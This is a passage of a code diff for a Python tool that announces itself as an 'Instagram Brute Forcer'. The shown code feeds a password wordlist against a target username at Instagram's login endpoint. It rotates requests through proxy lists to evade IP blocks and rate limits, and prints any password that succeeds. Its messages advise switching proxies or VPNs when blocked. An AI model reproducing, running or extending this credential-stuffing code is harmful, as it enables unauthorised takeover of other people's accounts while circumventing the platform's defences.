|
|
|
|
|
type=int,
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
parser.add_argument(
|
|
|
|
|
|
|
|
"-v",
|
|
|
|
|
|
|
|
"--verbose",
|
|
|
|
|
|
|
|
help="verbose mode (displays failed logins and more)",
|
|
|
|
|
|
|
|
action="store_true",
|
|
|
|
|
|
|
|
default=False,
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
parser.add_argument(
|
|
|
|
|
|
|
|
"-p",
|
|
|
|
|
|
|
|
"--proxy",
|
|
|
|
|
|
|
|
help="built-in ip rotating proxy (additinal library required)",
|
|
|
|
|
|
|
|
action="store_true",
|
|
|
|
|
|
|
|
default=False,
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
parser.add_argument(
|
|
|
|
|
|
|
|
"-l",
|
|
|
|
|
|
|
|
"--proxy-limit",
|
|
|
|
|
|
|
|
help="limit the number of proxies to use (default: 300; max: 300; min: 1)",
|
|
|
|
|
|
|
|
default=300,
|
|
|
|
|
|
|
|
type=int,
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
parser.add_argument(
|
|
|
|
|
|
|
|
"-f",
|
|
|
|
|
|
|
|
"--proxy-file",
|
|
|
|
|
|
|
|
help="use custom proxy file (`-p` & `-l` disabled)",
|
|
|
|
|
|
|
|
metavar="PROXY FILE PATH",
|
|
|
|
|
|
|
|
default=False,
|
|
|
|
|
|
|
|
)
|
|
|
|
# parser.add_argument('-g', '--get', help='update the program to the latest version', action='store_true', default=False)
|
|
|
|
# parser.add_argument('-g', '--get', help='update the program to the latest version', action='store_true', default=False)
|
|
|
|
args = parser.parse_args()
|
|
|
|
args = parser.parse_args()
|
|
|
|
|
|
|
|
|
|
|
|
# Assigning the arguments to variables
|
|
|
|
# Assigning arguments to variables
|
|
|
|
username = args.username
|
|
|
|
username = args.username
|
|
|
|
wordlist = args.wordlist
|
|
|
|
wordlist = args.wordlist
|
|
|
|
timeout = args.timeout
|
|
|
|
timeout = args.timeout
|
|
|
@@ -306,36 +448,47 @@ def main():
|
|
|
|
proxy_limit = args.proxy_limit
|
|
|
|
proxy_limit = args.proxy_limit
|
|
|
|
|
|
|
|
|
|
|
|
if proxy_file:
|
|
|
|
if proxy_file:
|
|
|
|
# Getting the custom proxy file
|
|
|
|
# Getting custom proxy file
|
|
|
|
proxy = True
|
|
|
|
proxy = True
|
|
|
|
try:
|
|
|
|
try:
|
|
|
|
file_proxies = open(proxy_file, 'r')
|
|
|
|
file_proxies = open(proxy_file, "r")
|
|
|
|
except FileNotFoundError:
|
|
|
|
except FileNotFoundError:
|
|
|
|
printit(f'[!] {proxy_file} file not found', coledt=[4, 49, 91])
|
|
|
|
printit(f"[!] {proxy_file} file not found", coledt=[4, 49, 91])
|
|
|
|
raise KeyboardInterrupt()
|
|
|
|
raise KeyboardInterrupt()
|
|
|
|
else:
|
|
|
|
else:
|
|
|
|
# If number of proxies is more than 300 or less than 1, set it to default (300)
|
|
|
|
# If the number of proxies is more than 300 or less than 1, set to default value (300)
|
|
|
|
if proxy_limit > 300 or proxy_limit < 1:
|
|
|
|
if proxy_limit > 300 or proxy_limit < 1:
|
|
|
|
proxy_limit = 300
|
|
|
|
proxy_limit = 300
|
|
|
|
|
|
|
|
|
|
|
|
# Logo
|
|
|
|
# Logo
|
|
|
|
printit(" ██▓ ▄████ ▄▄▄▄ █████▒", center=' ', coledt=[1, 49, 91], line_up=True)
|
|
|
|
printit(
|
|
|
|
printit("▓██▒ ██▒ ▀█▒▓█████▄ ▓██ ▒", center=' ', coledt=[1, 49, 91])
|
|
|
|
" ██▓ ▄████ ▄▄▄▄ █████▒", center=" ", coledt=[1, 49, 91], line_up=True
|
|
|
|
printit("▒██▒▒██░▄▄▄░▒██▒ ▄██▒████ ░", center=' ', coledt=[1, 49, 91])
|
|
|
|
)
|
|
|
|
printit("░██░░▓█ ██▓▒██░█▀ ░▓█▒ ░", center=' ', coledt=[1, 49, 91])
|
|
|
|
printit("▓██▒ ██▒ ▀█▒▓█████▄ ▓██ ▒", center=" ", coledt=[1, 49, 91])
|
|
|
|
printit("░██░░▒▓███▀▒░▓█ ▀█▓░▒█░ ", center=' ', coledt=[1, 49, 91])
|
|
|
|
printit("▒██▒▒██░▄▄▄░▒██▒ ▄██▒████ ░", center=" ", coledt=[1, 49, 91])
|
|
|
|
printit("░▓ ░▒ ▒ ░▒▓███▀▒ ▒ ░ ░ ", center=' ', coledt=[1, 49, 91])
|
|
|
|
printit("░██░░▓█ ██▓▒██░█▀ ░▓█▒ ░", center=" ", coledt=[1, 49, 91])
|
|
|
|
printit("▒ ░ ░ ░ ▒░▒ ░ ░ ░ ", center=' ', coledt=[1, 49, 91])
|
|
|
|
printit("░██░░▒▓███▀▒░▓█ ▀█▓░▒█░ ", center=" ", coledt=[1, 49, 91])
|
|
|
|
printit("▒ ░░ ░ ░ ░ ░ ░ ░ ░▒ ", center=' ', coledt=[1, 49, 91])
|
|
|
|
printit("░▓ ░▒ ▒ ░▒▓███▀▒ ▒ ░ ░ ", center=" ", coledt=[1, 49, 91])
|
|
|
|
printit("░ ░ ░ ", center=' ', coledt=[1, 49, 91])
|
|
|
|
printit("▒ ░ ░ ░ ▒░▒ ░ ░ ░ ", center=" ", coledt=[1, 49, 91])
|
|
|
|
printit(" ░ ░ ", center=' ', coledt=[1, 49, 91])
|
|
|
|
printit("▒ ░░ ░ ░ ░ ░ ░ ░ ░▒ ", center=" ", coledt=[1, 49, 91])
|
|
|
|
printit('[ Instagram Brute Forcer (igbf) ]', center=' ', coledt=[7, 49, 97], line_down=True)
|
|
|
|
printit("░ ░ ░ ", center=" ", coledt=[1, 49, 91])
|
|
|
|
|
|
|
|
printit(" ░ ░ ", center=" ", coledt=[1, 49, 91])
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
"[ Instagram Brute Forcer (igbf) ]",
|
|
|
|
|
|
|
|
center=" ",
|
|
|
|
|
|
|
|
coledt=[7, 49, 97],
|
|
|
|
|
|
|
|
line_down=True,
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
# Checking if the arguments have been passed
|
|
|
|
# Checking if arguments have been passed
|
|
|
|
if username is None or wordlist is None:
|
|
|
|
if username is None or wordlist is None:
|
|
|
|
parser.print_help()
|
|
|
|
parser.print_help()
|
|
|
|
printit('[!] Missing required arguments', coledt=[1, 49, 91], line_up=True)
|
|
|
|
printit("[!] Missing required arguments", coledt=[1, 49, 91], line_up=True)
|
|
|
|
printit('[-] `-u/--username` and `-w/--wordlist` are required arguments', coledt=[1, 49, 91], line_down=True)
|
|
|
|
printit(
|
|
|
|
|
|
|
|
"[-] `-u/--username` and `-w/--wordlist` are required arguments",
|
|
|
|
|
|
|
|
coledt=[1, 49, 91],
|
|
|
|
|
|
|
|
line_down=True,
|
|
|
|
|
|
|
|
)
|
|
|
|
sys.exit()
|
|
|
|
sys.exit()
|
|
|
|
|
|
|
|
|
|
|
|
# Checking if the wordlist file exists
|
|
|
|
# Checking if the wordlist file exists
|
|
|
@@ -345,74 +498,110 @@ def main():
|
|
|
|
|
|
|
|
|
|
|
|
# Checking if the connection is available
|
|
|
|
# Checking if the connection is available
|
|
|
|
if not check_connection():
|
|
|
|
if not check_connection():
|
|
|
|
printit("\n[!] Failed to connect to servers\n[!] Check your internet connection", coledt=[1, 49, 91])
|
|
|
|
printit(
|
|
|
|
|
|
|
|
"\n[!] Failed to connect to servers\n[!] Check your internet connection",
|
|
|
|
|
|
|
|
coledt=[1, 49, 91],
|
|
|
|
|
|
|
|
)
|
|
|
|
raise KeyboardInterrupt()
|
|
|
|
raise KeyboardInterrupt()
|
|
|
|
|
|
|
|
|
|
|
|
# Displaying the information
|
|
|
|
# Displaying information
|
|
|
|
printit(get_public_ip(), coledt=[1, 49, 96], normaltxt_start='[+] Public IP : ')
|
|
|
|
printit(get_public_ip(), coledt=[1, 49, 96], normaltxt_start="[+] Public IP : ")
|
|
|
|
printit("dictionary attack", coledt=[1, 49, 96], normaltxt_start='[+] Attack Type: ')
|
|
|
|
printit(
|
|
|
|
printit('https://github.com/s41r4j/igbf', coledt=[1, 49, 91], normaltxt_start='[+] Github : ', line_down=True)
|
|
|
|
"dictionary attack", coledt=[1, 49, 96], normaltxt_start="[+] Attack Type: "
|
|
|
|
printit(str(username), coledt=[1, 49, 96], normaltxt_start='[+] Username : ')
|
|
|
|
)
|
|
|
|
printit(str(wordlist), coledt=[1, 49, 96], normaltxt_start='[+] Wordlist : ')
|
|
|
|
printit(
|
|
|
|
printit(str(timeout), coledt=[1, 49, 96], normaltxt_start='[+] Timeout : ')
|
|
|
|
"https://github.com/s41r4j/igbf",
|
|
|
|
printit((str(proxy) if proxy else "False"), coledt=[1, 49, 96], normaltxt_start='[+] Proxy : ')
|
|
|
|
coledt=[1, 49, 91],
|
|
|
|
if proxy_file: printit(str(proxy_file), coledt=[1, 49, 96], normaltxt_start='[+] Proxy file : ')
|
|
|
|
normaltxt_start="[+] Github : ",
|
|
|
|
if proxy: printit((str(proxy_limit)), coledt=[1, 49, 96], normaltxt_start='[+] Limit proxy: ')
|
|
|
|
line_down=True,
|
|
|
|
printit(str(verbose), coledt=[1, 49, 96], normaltxt_start='[+] Verbose : ', line_down=True)
|
|
|
|
)
|
|
|
|
|
|
|
|
printit(str(username), coledt=[1, 49, 96], normaltxt_start="[+] Username : ")
|
|
|
|
|
|
|
|
printit(str(wordlist), coledt=[1, 49, 96], normaltxt_start="[+] Wordlist : ")
|
|
|
|
|
|
|
|
printit(str(timeout), coledt=[1, 49, 96], normaltxt_start="[+] Timeout : ")
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
(str(proxy) if proxy else "False"),
|
|
|
|
|
|
|
|
coledt=[1, 49, 96],
|
|
|
|
|
|
|
|
normaltxt_start="[+] Proxy : ",
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
if proxy_file:
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
str(proxy_file), coledt=[1, 49, 96], normaltxt_start="[+] Proxy file : "
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
if proxy:
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
(str(proxy_limit)), coledt=[1, 49, 96], normaltxt_start="[+] Limit proxy: "
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
str(verbose),
|
|
|
|
|
|
|
|
coledt=[1, 49, 96],
|
|
|
|
|
|
|
|
normaltxt_start="[+] Verbose : ",
|
|
|
|
|
|
|
|
line_down=True,
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
# Opening the wordlist
|
|
|
|
# Opening the wordlist file
|
|
|
|
try:
|
|
|
|
try:
|
|
|
|
wordlist = open(wordlist, 'r')
|
|
|
|
wordlist = open(wordlist, "r")
|
|
|
|
except FileNotFoundError:
|
|
|
|
except FileNotFoundError:
|
|
|
|
printit('[!] Wordlist not found', coledt=[4, 49, 91])
|
|
|
|
printit("[!] Wordlist not found", coledt=[4, 49, 91])
|
|
|
|
sys.exit()
|
|
|
|
sys.exit()
|
|
|
|
|
|
|
|
|
|
|
|
# Generating proxy list
|
|
|
|
# Generating proxy list
|
|
|
|
if proxy_file: proxies = custom_proxy(verbose, file_proxies, proxy_limit)
|
|
|
|
if proxy_file:
|
|
|
|
elif proxy: proxies = builtin_proxy(verbose, proxy_limit)
|
|
|
|
proxies = custom_proxy(verbose, file_proxies, proxy_limit)
|
|
|
|
|
|
|
|
elif proxy:
|
|
|
|
|
|
|
|
proxies = builtin_proxy(verbose, proxy_limit)
|
|
|
|
|
|
|
|
|
|
|
|
# If proxy is enabled and no working proxies found
|
|
|
|
# If proxy is enabled and no working proxies found
|
|
|
|
if (proxy or proxy_file) and len(proxies) == 0:
|
|
|
|
if (proxy or proxy_file) and len(proxies) == 0:
|
|
|
|
printit('[!] No working proxies found', coledt=[1, 49, 91])
|
|
|
|
printit("[!] No working proxies found", coledt=[1, 49, 91])
|
|
|
|
while True:
|
|
|
|
while True:
|
|
|
|
print("[?] Continue without proxy? (y/n): ", end='')
|
|
|
|
print("[?] Continue without proxy? (y/n): ", end="")
|
|
|
|
choice = input().lower()
|
|
|
|
choice = input().lower()
|
|
|
|
if choice == 'y':
|
|
|
|
if choice == "y":
|
|
|
|
proxy = False
|
|
|
|
proxy = False
|
|
|
|
proxy_file = False
|
|
|
|
proxy_file = False
|
|
|
|
break
|
|
|
|
break
|
|
|
|
elif choice == 'n':
|
|
|
|
elif choice == "n":
|
|
|
|
raise KeyboardInterrupt()
|
|
|
|
raise KeyboardInterrupt()
|
|
|
|
else:
|
|
|
|
else:
|
|
|
|
printit('\n[!] Enter y/Y for YES or n/N for NO', coledt=[1, 49, 91])
|
|
|
|
printit("\n[!] Enter y/Y for YES or n/N for NO", coledt=[1, 49, 91])
|
|
|
|
|
|
|
|
|
|
|
|
# Starting the brute force
|
|
|
|
# Starting brute force
|
|
|
|
printit('\n[#] Starting the brute force...\n', coledt=[1, 49, 91])
|
|
|
|
printit("\n[#] Starting the brute force...\n", coledt=[1, 49, 91])
|
|
|
|
|
|
|
|
|
|
|
|
# print start time for calculating total time taken
|
|
|
|
# Print start time to calculate total time taken
|
|
|
|
start_time = datetime.datetime.now()
|
|
|
|
start_time = datetime.datetime.now()
|
|
|
|
if verbose: printit(f'[+] Started @ {start_time.strftime("%I:%M:%S %p")}\n', coledt=[1, 49, 93])
|
|
|
|
if verbose:
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
f'[+] Started @ {start_time.strftime("%I:%M:%S %p")}\n', coledt=[1, 49, 93]
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
# printing timeout, if changed from default
|
|
|
|
# Print timeout if changed from default value
|
|
|
|
if verbose and timeout != 2: printit(f'[+] Time delay between each attempt: {timeout} secs\n', coledt=[1, 49, 93])
|
|
|
|
if verbose and timeout != 2:
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
f"[+] Time delay between each attempt: {timeout} secs\n", coledt=[1, 49, 93]
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
# Display verbose information about failed attempts
|
|
|
|
# Display detailed info about failed attempts
|
|
|
|
if not verbose: printit('[!] To display failed attempts, use -v or --verbose', coledt=[1, 49, 93])
|
|
|
|
if not verbose:
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
"[!] To display failed attempts, use -v or --verbose", coledt=[1, 49, 93]
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
# Starting password brute forcing loop
|
|
|
|
# Starting password brute force loop
|
|
|
|
for password in wordlist:
|
|
|
|
for password in wordlist:
|
|
|
|
# Request data
|
|
|
|
# Request data
|
|
|
|
login_url = 'https://www.instagram.com/accounts/login/ajax/'
|
|
|
|
login_url = "https://www.instagram.com/accounts/login/ajax/"
|
|
|
|
login_time = int(datetime.datetime.now().timestamp())
|
|
|
|
login_time = int(datetime.datetime.now().timestamp())
|
|
|
|
password = password.strip()
|
|
|
|
password = password.strip()
|
|
|
|
user_agent = get_user_agent()
|
|
|
|
user_agent = get_user_agent()
|
|
|
|
csrf_token = get_csrf_token()
|
|
|
|
csrf_token = get_csrf_token()
|
|
|
|
|
|
|
|
|
|
|
|
payload = {
|
|
|
|
payload = {
|
|
|
|
'username': username,
|
|
|
|
"username": username,
|
|
|
|
'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{login_time}:{password}',
|
|
|
|
"enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{login_time}:{password}",
|
|
|
|
'queryParams': {},
|
|
|
|
"queryParams": {},
|
|
|
|
'optIntoOneTap': 'false'
|
|
|
|
"optIntoOneTap": "false",
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
login_header = {
|
|
|
|
login_header = {
|
|
|
@@ -423,39 +612,71 @@ def main():
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
while True:
|
|
|
|
while True:
|
|
|
|
# Checking if proxy is enabled (if, then use proxy)
|
|
|
|
while True:
|
|
|
|
|
|
|
|
# Check if proxy is enabled (if so, use proxy)
|
|
|
|
if proxy:
|
|
|
|
if proxy:
|
|
|
|
# get random proxy from proxy list
|
|
|
|
# Get random proxy from proxy list
|
|
|
|
random_proxy = random.choice(list(proxies))
|
|
|
|
random_proxy = random.choice(list(proxies))
|
|
|
|
single_proxy = {
|
|
|
|
single_proxy = {"http": random_proxy, "https": random_proxy}
|
|
|
|
'http': random_proxy,
|
|
|
|
|
|
|
|
'https': random_proxy
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
else:
|
|
|
|
else:
|
|
|
|
single_proxy = None
|
|
|
|
single_proxy = None
|
|
|
|
|
|
|
|
|
|
|
|
# Sending the request
|
|
|
|
# Sending request
|
|
|
|
try:
|
|
|
|
try:
|
|
|
|
login_response = requests.post(login_url, data=payload, headers=login_header, proxies=single_proxy)
|
|
|
|
login_response = requests.post(
|
|
|
|
|
|
|
|
login_url,
|
|
|
|
|
|
|
|
data=payload,
|
|
|
|
|
|
|
|
headers=login_header,
|
|
|
|
|
|
|
|
proxies=single_proxy,
|
|
|
|
|
|
|
|
)
|
|
|
|
break
|
|
|
|
break
|
|
|
|
except requests.exceptions.ConnectionError:
|
|
|
|
except requests.exceptions.ConnectionError:
|
|
|
|
continue
|
|
|
|
continue
|
|
|
|
|
|
|
|
|
|
|
|
# proxy check if working
|
|
|
|
# Proxy check if working
|
|
|
|
if proxy:
|
|
|
|
if proxy:
|
|
|
|
headers = {
|
|
|
|
headers = {"User-Agent": user_agent}
|
|
|
|
"User-Agent": user_agent
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# Checking if the request returned 403 (temporary ip block/username not found)
|
|
|
|
# Check if request returned 403 (temporary IP block/username not found)
|
|
|
|
if login_response.status_code == 403 or login_response.status_code == "403":
|
|
|
|
if login_response.status_code == 403 or login_response.status_code == "403":
|
|
|
|
printit("\n["+str(login_response.status_code)+"]: Temporary IP BLOCKED, wait for few minutes", coledt=[4, 49, 91])
|
|
|
|
printit(
|
|
|
|
|
|
|
|
"\n["
|
|
|
|
|
|
|
|
+ str(login_response.status_code)
|
|
|
|
|
|
|
|
+ "]: Temporary IP BLOCKED, wait for few minutes",
|
|
|
|
|
|
|
|
coledt=[4, 49, 91],
|
|
|
|
|
|
|
|
)
|
|
|
|
if verbose:
|
|
|
|
if verbose:
|
|
|
|
printit("["+str(login_response.status_code)+"]: You can also use proxy/VPN (change active vpn server)", coledt=[4, 49, 91])
|
|
|
|
printit(
|
|
|
|
printit("["+str(login_response.status_code)+"]: To avoid this use built-in IP rotating proxy (-p/--proxy)", coledt=[4, 49, 91])
|
|
|
|
"["
|
|
|
|
printit("["+str(login_response.status_code)+"]: OR use custom proxy file for IP rotating (-f/--proxy-file)", coledt=[4, 49, 91])
|
|
|
|
+ str(login_response.status_code)
|
|
|
|
printit("["+str(login_response.status_code)+"]: Timeout between each request can also help (-t/--timeout)\n", coledt=[4, 49, 91])
|
|
|
|
+ "]: You can also use proxy/VPN (change active vpn server)",
|
|
|
|
printit("["+str(login_response.status_code)+"]: Also check if the USERNAME entered is available", coledt=[4, 49, 91], line_down=True)
|
|
|
|
coledt=[4, 49, 91],
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
"["
|
|
|
|
|
|
|
|
+ str(login_response.status_code)
|
|
|
|
|
|
|
|
+ "]: To avoid this use built-in IP rotating proxy (-p/--proxy)",
|
|
|
|
|
|
|
|
coledt=[4, 49, 91],
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
"["
|
|
|
|
|
|
|
|
+ str(login_response.status_code)
|
|
|
|
|
|
|
|
+ "]: OR use custom proxy file for IP rotating (-f/--proxy-file)",
|
|
|
|
|
|
|
|
coledt=[4, 49, 91],
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
"["
|
|
|
|
|
|
|
|
+ str(login_response.status_code)
|
|
|
|
|
|
|
|
+ "]: Timeout between each request can also help (-t/--timeout)\n",
|
|
|
|
|
|
|
|
coledt=[4, 49, 91],
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
"["
|
|
|
|
|
|
|
|
+ str(login_response.status_code)
|
|
|
|
|
|
|
|
+ "]: Also check if the USERNAME entered is available",
|
|
|
|
|
|
|
|
coledt=[4, 49, 91],
|
|
|
|
|
|
|
|
line_down=True,
|
|
|
|
|
|
|
|
)
|
|
|
|
sys.exit()
|
|
|
|
sys.exit()
|
|
|
|
|
|
|
|
|
|
|
|
# login_response -> json format
|
|
|
|
# login_response -> json format
|
|
|
@@ -464,73 +685,154 @@ def main():
|
|
|
|
except json.decoder.JSONDecodeError:
|
|
|
|
except json.decoder.JSONDecodeError:
|
|
|
|
pass
|
|
|
|
pass
|
|
|
|
|
|
|
|
|
|
|
|
# Checking if the username is exists
|
|
|
|
# Check if json has 'error_type' == 'generic_request_error', retry request with different proxy
|
|
|
|
|
|
|
|
try:
|
|
|
|
|
|
|
|
if json_data["error_type"] == "generic_request_error":
|
|
|
|
|
|
|
|
continue
|
|
|
|
|
|
|
|
except:
|
|
|
|
|
|
|
|
break
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# Check if username exists
|
|
|
|
try:
|
|
|
|
try:
|
|
|
|
if json_data["user"] == False:
|
|
|
|
if json_data["user"] == False:
|
|
|
|
if verbose:
|
|
|
|
if verbose:
|
|
|
|
printit("\n[#] Login successful: ", coledt=[7, 49, 92])
|
|
|
|
printit("\n[#] Login successful: ", coledt=[7, 49, 92])
|
|
|
|
printit(username, coledt=[7, 49, 97], normaltxt_start="[+] Username: ")
|
|
|
|
printit(
|
|
|
|
printit(password, coledt=[7, 49, 97], normaltxt_start="[+] Password: ")
|
|
|
|
username, coledt=[7, 49, 97], normaltxt_start="[+] Username: "
|
|
|
|
printit2(str(user_agent), coledt=[1, 49, 96], normaltxt_start="\n[+] User-agent: ")
|
|
|
|
)
|
|
|
|
printit2(str(csrf_token), coledt=[1, 49, 96], normaltxt_start="\n[+] CSRF token: ")
|
|
|
|
printit(
|
|
|
|
|
|
|
|
password, coledt=[7, 49, 97], normaltxt_start="[+] Password: "
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
printit2(
|
|
|
|
|
|
|
|
str(user_agent),
|
|
|
|
|
|
|
|
coledt=[1, 49, 96],
|
|
|
|
|
|
|
|
normaltxt_start="\n[+] User-agent: ",
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
printit2(
|
|
|
|
|
|
|
|
str(csrf_token),
|
|
|
|
|
|
|
|
coledt=[1, 49, 96],
|
|
|
|
|
|
|
|
normaltxt_start="\n[+] CSRF token: ",
|
|
|
|
|
|
|
|
)
|
|
|
|
else:
|
|
|
|
else:
|
|
|
|
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ", line_down=True)
|
|
|
|
printit(
|
|
|
|
|
|
|
|
password,
|
|
|
|
|
|
|
|
coledt=[7, 49, 97],
|
|
|
|
|
|
|
|
normaltxt_start="\n[#] Login successful (pwd)> ",
|
|
|
|
|
|
|
|
line_down=True,
|
|
|
|
|
|
|
|
)
|
|
|
|
break
|
|
|
|
break
|
|
|
|
except SystemExit:
|
|
|
|
except SystemExit:
|
|
|
|
sys.exit()
|
|
|
|
sys.exit()
|
|
|
|
except:
|
|
|
|
except:
|
|
|
|
pass
|
|
|
|
pass
|
|
|
|
|
|
|
|
|
|
|
|
# Checking if the password is correct
|
|
|
|
# Check if password is correct
|
|
|
|
try:
|
|
|
|
try:
|
|
|
|
if json_data["message"] == "checkpoint_required":
|
|
|
|
if json_data["message"] == "checkpoint_required":
|
|
|
|
if verbose:
|
|
|
|
if verbose:
|
|
|
|
printit("\n[#] Login successful: ", coledt=[7, 49, 92])
|
|
|
|
printit("\n[#] Login successful: ", coledt=[7, 49, 92])
|
|
|
|
printit(username, coledt=[7, 49, 97], normaltxt_start="[+] Username: ")
|
|
|
|
printit(
|
|
|
|
printit(password, coledt=[7, 49, 97], normaltxt_start="[+] Password: ")
|
|
|
|
username, coledt=[7, 49, 97], normaltxt_start="[+] Username: "
|
|
|
|
printit2(str(user_agent), coledt=[1, 49, 96], normaltxt_start="\n[+] User-agent: ")
|
|
|
|
)
|
|
|
|
printit2(str(csrf_token), coledt=[1, 49, 96], normaltxt_start="\n[+] CSRF token: ")
|
|
|
|
printit(
|
|
|
|
printit2(str("https://www.instagram.com"+json_data["checkpoint_url"]), coledt=[1, 49, 96], normaltxt_start="\n[+] Checkpoint (*req) URL: ")
|
|
|
|
password, coledt=[7, 49, 97], normaltxt_start="[+] Password: "
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
printit2(
|
|
|
|
|
|
|
|
str(user_agent),
|
|
|
|
|
|
|
|
coledt=[1, 49, 96],
|
|
|
|
|
|
|
|
normaltxt_start="\n[+] User-agent: ",
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
printit2(
|
|
|
|
|
|
|
|
str(csrf_token),
|
|
|
|
|
|
|
|
coledt=[1, 49, 96],
|
|
|
|
|
|
|
|
normaltxt_start="\n[+] CSRF token: ",
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
printit2(
|
|
|
|
|
|
|
|
str("https://www.instagram.com" + json_data["checkpoint_url"]),
|
|
|
|
|
|
|
|
coledt=[1, 49, 96],
|
|
|
|
|
|
|
|
normaltxt_start="\n[+] Checkpoint (*req) URL: ",
|
|
|
|
|
|
|
|
)
|
|
|
|
else:
|
|
|
|
else:
|
|
|
|
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ", line_down=True)
|
|
|
|
printit(
|
|
|
|
|
|
|
|
password,
|
|
|
|
|
|
|
|
coledt=[7, 49, 97],
|
|
|
|
|
|
|
|
normaltxt_start="\n[#] Login successful (pwd)> ",
|
|
|
|
|
|
|
|
line_down=True,
|
|
|
|
|
|
|
|
)
|
|
|
|
break
|
|
|
|
break
|
|
|
|
except KeyError:
|
|
|
|
except KeyError:
|
|
|
|
try:
|
|
|
|
try:
|
|
|
|
if json_data["authenticated"] == True:
|
|
|
|
if json_data["authenticated"] == True:
|
|
|
|
if verbose:
|
|
|
|
if verbose:
|
|
|
|
printit("\n[#] Login successful: ", coledt=[7, 49, 92])
|
|
|
|
printit("\n[#] Login successful: ", coledt=[7, 49, 92])
|
|
|
|
printit(username, coledt=[7, 49, 97], normaltxt_start="[+] Username: ")
|
|
|
|
printit(
|
|
|
|
printit(password, coledt=[7, 49, 97], normaltxt_start="[+] Password: ")
|
|
|
|
username,
|
|
|
|
printit2(str(user_agent), coledt=[1, 49, 96], normaltxt_start="\n[+] User-agent: ")
|
|
|
|
coledt=[7, 49, 97],
|
|
|
|
printit2(str(csrf_token), coledt=[1, 49, 96], normaltxt_start="\n[+] CSRF token: ")
|
|
|
|
normaltxt_start="[+] Username: ",
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
password,
|
|
|
|
|
|
|
|
coledt=[7, 49, 97],
|
|
|
|
|
|
|
|
normaltxt_start="[+] Password: ",
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
printit2(
|
|
|
|
|
|
|
|
str(user_agent),
|
|
|
|
|
|
|
|
coledt=[1, 49, 96],
|
|
|
|
|
|
|
|
normaltxt_start="\n[+] User-agent: ",
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
printit2(
|
|
|
|
|
|
|
|
str(csrf_token),
|
|
|
|
|
|
|
|
coledt=[1, 49, 96],
|
|
|
|
|
|
|
|
normaltxt_start="\n[+] CSRF token: ",
|
|
|
|
|
|
|
|
)
|
|
|
|
else:
|
|
|
|
else:
|
|
|
|
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ", line_down=True)
|
|
|
|
printit(
|
|
|
|
|
|
|
|
password,
|
|
|
|
|
|
|
|
coledt=[7, 49, 97],
|
|
|
|
|
|
|
|
normaltxt_start="\n[#] Login successful (pwd)> ",
|
|
|
|
|
|
|
|
line_down=True,
|
|
|
|
|
|
|
|
)
|
|
|
|
break
|
|
|
|
break
|
|
|
|
else:
|
|
|
|
else:
|
|
|
|
print_login_failed(password, verbose, proxy, single_proxy, login_response.status_code)
|
|
|
|
print_login_failed(
|
|
|
|
|
|
|
|
password,
|
|
|
|
|
|
|
|
verbose,
|
|
|
|
|
|
|
|
proxy,
|
|
|
|
|
|
|
|
single_proxy,
|
|
|
|
|
|
|
|
login_response.status_code,
|
|
|
|
|
|
|
|
)
|
|
|
|
except SystemExit:
|
|
|
|
except SystemExit:
|
|
|
|
sys.exit()
|
|
|
|
sys.exit()
|
|
|
|
except:
|
|
|
|
except:
|
|
|
|
print_login_failed(password, verbose, proxy, single_proxy, login_response.status_code)
|
|
|
|
print_login_failed(
|
|
|
|
|
|
|
|
password, verbose, proxy, single_proxy, login_response.status_code
|
|
|
|
|
|
|
|
)
|
|
|
|
except SystemExit:
|
|
|
|
except SystemExit:
|
|
|
|
sys.exit()
|
|
|
|
sys.exit()
|
|
|
|
except:
|
|
|
|
except:
|
|
|
|
print_login_failed(password, verbose, proxy, proxies, login_response.status_code)
|
|
|
|
